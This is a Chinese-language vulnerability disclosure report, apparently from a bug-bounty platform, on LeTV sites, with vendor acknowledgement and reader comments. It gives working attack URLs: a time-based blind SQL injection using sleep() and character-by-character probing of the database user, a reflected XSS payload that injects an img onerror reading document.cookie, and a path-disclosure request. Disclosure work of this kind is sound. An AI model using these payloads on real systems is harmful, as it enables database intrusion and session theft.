乐视MySQL盲注、callback反射型XSS及一处绝对路径泄漏

注射点位于(参数ID):

http://joyearcars2014happy.hz.letv.com/php/votenum.php?callback=jQuery171017738118954002857_1408792927555&id=1&_=1408792945702

反射型XSS位于：

http://address.shop.letv.com/api/web/insert/insUserAddress.jsonp?callback=callback__%3Cimg%20src=aaaa%20onerror=alert(document.cookie)%3E&

绝对路径泄漏位于：

http://joyearcars2014happy.hz.letv.com/php/joyearcar.php?callback=aaaa&username=

Notice: Undefined index: tel in /letv/joyearcars2014happy.hz.letv.com/php/joyearcar.php on line 11

http://joyearcars2014happy.hz.letv.com/php/votenum.php?callback=jQuery171017738118954002857_1408792927555&id=if(length(user())>22,sleep(1),0)&_=1408792945702

可猜解当前连接用户的长度为23。

我只猜解了第一个字母的ASCII码为50，字母“2”：

http://joyearcars2014happy.hz.letv.com/php/votenum.php?callback=jQuery171017738118954002857_1408792927555&id=if(ascii(mid(user(),1,1))=50,sleep(1),2)--&_=1408792945702

非root,未进一步利用。

解决SQL注射

编码callback

不显示详细错误信息

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-08-23 20:55

厂商回复：

谢谢挖掘，辛苦了。

最新状态：

暂无

1. 2014-08-23 20:33 | greg.wu ( 普通白帽子 | Rank:1044 漏洞数:121 | 打酱油的~)

   1

   callback参数的xss很多厂商都一大堆，懒得修而已

   1# 回复此人

2. 2014-08-23 20:35 | lijiejie ( 核心白帽子 | Rank:2527 漏洞数:325 | Just for fun.)

   0

   @greg.wu 这玩意确实多，对，所以我写了个脚本批量去google自动抓。。。

   2# 回复此人

3. 2014-08-23 20:36 | lijiejie ( 核心白帽子 | Rank:2527 漏洞数:325 | Just for fun.)

   0

   @greg.wu 可能一个反射型XSS厂商觉得危害不大，但攻击者组合几个洞利用，威力可能会很大。

   3# 回复此人

4. 2014-09-29 20:40 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心，爱好广泛，求女女带走。。...)

   0

   @lijiejie 很好奇脚本怎么写的... LZ python写的好~

   4# 回复此人

5. 2014-10-07 21:56 | 基佬库克 ( 实习白帽子 | Rank:75 漏洞数:15 | 简介什么的是直接爆菊吧..)

   0

   callback的就返text/plain比较安全。

   5# 回复此人

6. 2014-10-07 22:13 | lijiejie ( 核心白帽子 | Rank:2527 漏洞数:325 | Just for fun.)

   0

   @基佬库克 返回plain在IE下其实不安全的。 还是返回text/javascript,在IE下也是安全的。

   6# 回复此人

7. 2014-10-08 10:22 | sysALong ( 普通白帽子 | Rank:440 漏洞数:97 | 在我们黑龙江这噶哒，就没有什么事是【撸串...)

   0

   这玩应能给15 ？？？ 我去了。。

   7# 回复此人